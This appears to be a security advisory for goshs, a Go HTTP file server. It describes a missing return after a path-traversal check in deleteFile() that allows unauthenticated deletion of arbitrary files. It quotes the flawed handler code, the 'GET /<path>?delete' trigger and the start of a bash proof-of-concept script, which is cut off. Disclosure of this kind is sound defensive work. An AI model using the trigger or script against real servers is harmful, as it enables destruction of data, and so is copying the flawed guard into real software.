goshs is a SimpleHTTPServer written in Go. Prior to 2.0.0-beta.3, tdeleteFile() missing return after path traversal check. This vulnerability is fixed in 2.0.0-beta.3.

Affected: Go: github.com/patrickhener/goshs

### Summary * `deleteFile()` missing return after path traversal check | `httpserver/handler.go:645-671`

The finding affects the default configuration, no flags or authentication required.

### Details

**File:** `httpserver/handler.go:645-671` **Trigger:** `GET /<path>?delete` (handler.go:157-160 dispatches to `deleteFile`)

The function detects `..` in the decoded path but does not `return`.

```go func (fs *FileServer) deleteFile(w http.ResponseWriter, req *http.Request) { upath := filepath.FromSlash(filepath.Clean("/" + strings.Trim(req.URL.Path, "/")))

fileCleaned, _ := url.QueryUnescape(upath) if strings.Contains(fileCleaned, "..") { w.WriteHeader(500) _, err := w.Write([]byte("Cannot delete file")) if err != nil { logger.Errorf("error writing answer to client: %+v", err) } // BUG: no return, falls through to os.RemoveAll }

deletePath := filepath.Join(fs.Webroot, fileCleaned) err := os.RemoveAll(deletePath) // always executes ```

**Root causes:** Missing `return` after the guard makes the check dead code

**Impact:** Unauthenticated arbitrary file/directory deletion.

**PoCs:** ```bash #!/usr/bin/env bash # Delete an arbitrary file/directory on a running goshs instance. # Usage: ./arbitrary_delete.sh <host> <port> <absolute-path-to-delete>

set -euo pipefail

HOST="${1:?Usage: $0 <host> <port> <absolute-path-to-delete>}" PORT="${2:?Usage: $0 <host> <port> <absolute-path-to-delete>}" TARGET…

goshs-2.0.0-1.1 on GA media